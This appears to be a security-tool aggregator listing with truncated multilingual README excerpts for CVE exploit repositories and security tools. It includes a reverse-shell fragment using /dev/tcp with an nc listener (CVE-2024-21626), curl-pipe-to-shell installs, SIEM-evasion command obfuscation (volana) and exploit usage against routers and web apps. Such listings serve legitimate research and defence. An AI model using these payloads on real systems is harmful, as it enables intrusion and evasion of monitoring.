CVE-2023-41425

CVE-2023-41425 Descripción Una vulnerabilidad de Cross Site Scripting en Wonder CMS Versión 3.2.0 a Versión 3.4.2 permite a un atacante remoto ejecutar código arbitrario mediante un script manipulado subido al componente installModule. Esta es una versión modificada del exploit original de...

clawpatrol

clawpatrol 面向代理的安全防火墙。 Claw Patrol位于您的代理和生产环境之间，在底层解析它们的流量，并根据您用HCL编写的规则对每个操作进行门控。例如，您可以阻止破坏性的SQL，或暂停kubectl delete pod，直到人工批准后才将请求发送到Kubernetes。 完整概述请参见clawpatrol.dev。 Install root@kitploit: curl -fsSL https://clawpatrol.dev/install.sh | sh 从源码构建：make（需要Go和Node.js）。 一个规则 来自我们生产配置的一个真实规则：...

minisign

Minisign 一个极其简单的工具，用于签名文件并验证签名。 目录 Minisign 目录 概述 文档 安装 预构建包 使用 Zig 构建 使用 CMake 和 GCC 或 Clang 构建 用法 生成密钥对 签署文件 验证签名 验证官方发布版本 Docker 与 Signify 的兼容性 签名确定性 其他工具、库与实现 概述 Minisign 是一个用于签名文件并验证签名的工具。它的设计目标是： 简单易用 安全（基于现代密码学） 精简（专注于做好一件事） 跨平台 Minisign 使用 Ed25519 公钥签名系统，签名体积小且速度快。 文档 如需完整文档，请参阅 Minisign ...

kratos

チャット · ディスカッション · ニュースレター · ドキュメント · Ory Networkを試す · 採用情報 Ory Kratosは、クラウドネイティブアプリケーション向けのAPIファーストなID・ユーザー管理システムです。ログイン、登録、復旧、確認、プロフィール管理のフローを一元化し、あなたのサービスがそれらを再実装する代わりに利用できるようにします。 目次 Ory Kratosとは？ なぜOry Kratosなのか Auth0、Okta、類似プロバイダーからの移行 デプロイオプション Ory NetworkでOry Kratosを使用する Ory Kratosをセルフホストす...

CVE-2019-11043-Docker

PHP-FPM（CVE-2019-11043）の脆弱性バージョンとnginxを含むDockerイメージ。 実行 docker run --rm -p8080:80 akamajoris/cve-2019-11043 http://your-ip:8080/ でWebアプリケーションにアクセスできるはずです。 悪用 https://github.com/neex/phuip-fpizdam からバイナリをビルドし、その後 root@kitploit: root@debian:/gopath/bin curl...

crypto-scanner

Escanea tu código base en busca de criptografía vulnerable a la computación cuántica antes de que sea demasiado tarde. Inicio Rápido • ¿Por qué Prepararse para la Cuántica? • Uso • Niveles de Riesgo • CI/CD • Acerca de Resumen Crypto Scanner es una herramienta CLI que escanea tu código base en...

CVE-2024-21626

CVE-2024-21626 概念验证（POC） 要求 runc 1.1.0 /proc/self/cwd/../../../bin/bash.copy & /dev/tcp/$ip/$port 0&1 EOF listen and wait for reverse shell nc -lvvp 1337 运行容器镜像并在bash shell中执行poc.sh root@kitploit:...

GhostLock-H80GT

English | 中文 荣耀80 GT 提权 PoC：GhostLock CVE-2026-43499 适用于荣耀80 GT（AGT-AN00）的本地提权exploit（CVE-2026-43499，内核rtmutex removewaiter路径的UAF），以及配套的KernelSU内核模块加载方案。 原理上，本项目的漏洞和利用手法对9.0.0.220及之前的所有MagicOS版本都成立。已适配的版本： MagicOS| 内核| 状态 ---|---|--- 8.0.0.128| 5.10.168| 已验证 8.0.0.160| 5.10.209| 已验证 9.0.0.157|...

ida-cli

ida-cli ida-cli 是一个面向 macOS / Linux 的无界面 IDA CLI 与 skill-first 工具集。它会在运行时自动选择后端，在需要时自动拉起本地服务，并同时以 flat CLI、stdio MCP、Streamable HTTP MCP 三种方式暴露相同的能力。 English README 两个用户入口 本地 ida-cli 二进制（一个可执行文件同时承担客户端和服务端角色） 给 agent 环境安装的 ida-cli skill（skill/SKILL.md） 底层的 worker / router 服务层由 CLI...

CVE-2026-45091

CVE-2026-45091 ⚠️ 安全研究与法律免责声明 📌 本仓库的目的 本仓库严格仅用于教育、学术及授权的网络安全研究目的 。 旨在帮助理解以下内容： 在受控环境中的安全漏洞与利用概念 沙箱隔离机制及其局限性 安全软件设计与防御性安全实践 🚫 仅限授权使用 本仓库必须仅在已获得明确许可的环境中使用，例如： 个人或受控虚拟机 Docker 或隔离实验室环境 授权的渗透测试项目 学术或网络安全培训设置 任何超出授权环境的使用均被严格禁止。 ⚖️ 不承担责任 / 无责任 本仓库的作者及贡献者不承担 因使用、滥用或分发本项目或其内容而产生的任何误用、损害、损失或法律后果的责任。...

CVE-2026-41901

CVE-2026-41901 ⚠️ 安全研究与法律免责声明 📌 本仓库的目的 本仓库仅严格用于 教育、学术及经授权的网络安全研究目的 。 其旨在帮助理解以下内容： 在受控环境中的安全漏洞及利用概念 沙盒隔离机制及其局限性 安全软件设计与防御性安全实践 🚫 仅限授权使用 本仓库仅允许在已获得明确许可的环境中使用，例如： 个人或受控虚拟机 Docker 或隔离的实验环境 经授权的渗透测试项目 学术或网络安全培训环境 任何在授权环境之外的使用均严格禁止。 ⚖️ 不承担责任 / 不承担法律责任 本仓库的作者及贡献者...

CVE-2026-42271

cve-id ⚡ 简单使用 请仅在安全且授权的环境中使用此项目，例如： 本地虚拟机 Docker 容器 隔离的实验环境 授权的渗透测试环境 示例设置： root@kitploit: git clone cd 项目使用 Python，请按以下步骤操作 创建虚拟环境 python -m venv venv 激活虚拟环境 macOS / Linux source venv/bin/activate Windows Git Bash / WSL source venv/Scripts/activate 示例用法： root@kitploit: 安装依赖 运行项目...

CVE-2025-41242

Vulhub Vulhub是一个开源的、即开即用的漏洞靶场环境集合。无需Docker基础，只需一条命令即可快速启动用于安全研究、学习或演示的漏洞环境。 快速开始 安装Docker （以Ubuntu 24.04为例）： root@kitploit: curl -s https://get.docker.com/ | sh systemctl start docker 其他操作系统请参考Docker官方文档。 虽然所有Vulhub环境都基于Docker compose制作，但你不再需要安装独立的docker-compose，而是使用Docker自带的compose命令来启动Vulhub环境。...

asterion-network-minotaur

道德网络安全审计器 — 超过50项检查覆盖SMB、RDP、LDAP、SSH、Kerberos等，配备AI驱动的CVE分析和OWASP/CIS/NIST合规映射。 快速开始 · 文档 · Docker · AI功能 · 在GitHub上标星 实际运行 本地扫描 · 127.0.0.1 · 33个发现 0C/4H/2M/3L/24I · 16项检查 · 57.74秒 · .NET 8.0.22 !Asterion —...

CVE-2025-32462

CVE-2025-32462 – sudo提权验证脚本 这是一个CVE‑2025‑32462 的提权检测脚本, 提供sudo直接检测和非权限用户遍历检测两种模式. 文件结构 文件| 说明 ---|--- poc.sh| 这是CVE-2025-32462的漏洞验证文件支持bash、dash. version.txt| 用于进行版本匹配工具的文件. 受影响版本 sudo的受影响版本为1.8.8 - 1.9.17, 主要受影响为linux系统. 使用方式 root@kitploit: 1 – 克隆脚本 $ git clone...

volana

volana マラガシ語で月 root@kitploit: 使用方法 ; 🌚隠れる対象; 🌞検出される対象 SIEM/検知システムを回避するためのシェルコマンド難読化 ペネトレーションテストにおいて、重要な側面はステルスであること です。そのため、通過後に痕跡を消す 必要があります。しかし、多くのインフラはコマンドをログに記録し、リアルタイムでSIEMに送信するため、後からのクリーンアップだけでは無意味になります。...

CVE-2018-14714-POC

CVE-2018-14714-POC 2020年4月25日，Altin Thartori，github.com/tin-z 漏洞详情 ASUS RT-AC3200 版本 3.0.0.4.382.50010 中的 appGet.cgi 存在系统命令注入漏洞，攻击者可通过 "loadscript" URL 参数执行系统命令。 CVE-2018-14714 参考： https://blog.securityevaluators.com/asus-routers-overflow-with-vulnerabilities-b111bc1c8eb8 POC root@kitploit:...

shocknaww

shocknaww CVE-2014-6271 を確認するためのシンプルなスクリプト 使用例 root@kitploit: ./shocknaww.py http://foo.bar/cgi-bin/foo 脆弱な環境の例 親ディレクトリから以下を実行してください。 root@kitploit: python -m CGIHTTPServer 次に、ローカルホストのテストサーバーに対して shocknaww を使用します。 root@kitploit: ./shocknaww.py http://127.0.0.1:8000/test.py...

CVE-2022-23779

CVE-2022-23779：内部主机名泄露漏洞 信息 描述： Zoho ManageEngine Desktop Central 10.1.2137.8 之前的版本会将已安装的服务器名称暴露给任何人。通过读取 HTTP 重定向响应，可以获取内部主机名。 受影响版本： 10.1.2137.7 研究人员： Matthew Zellner @fbusr 披露链接： https://www.manageengine.com/products/desktop-central/cve-2022-23779.html NIST CVE 链接：...

XSS-CVE-2022-30489

WAVLINK WN535G3 POST XSS Usar CVE-2022-30489 CARGA root@kitploit: POST /cgi-bin/login.cgi HTTP/1.1 Host: 98.127.66.193 Content-Length: 255 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://98.127.66.193 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0...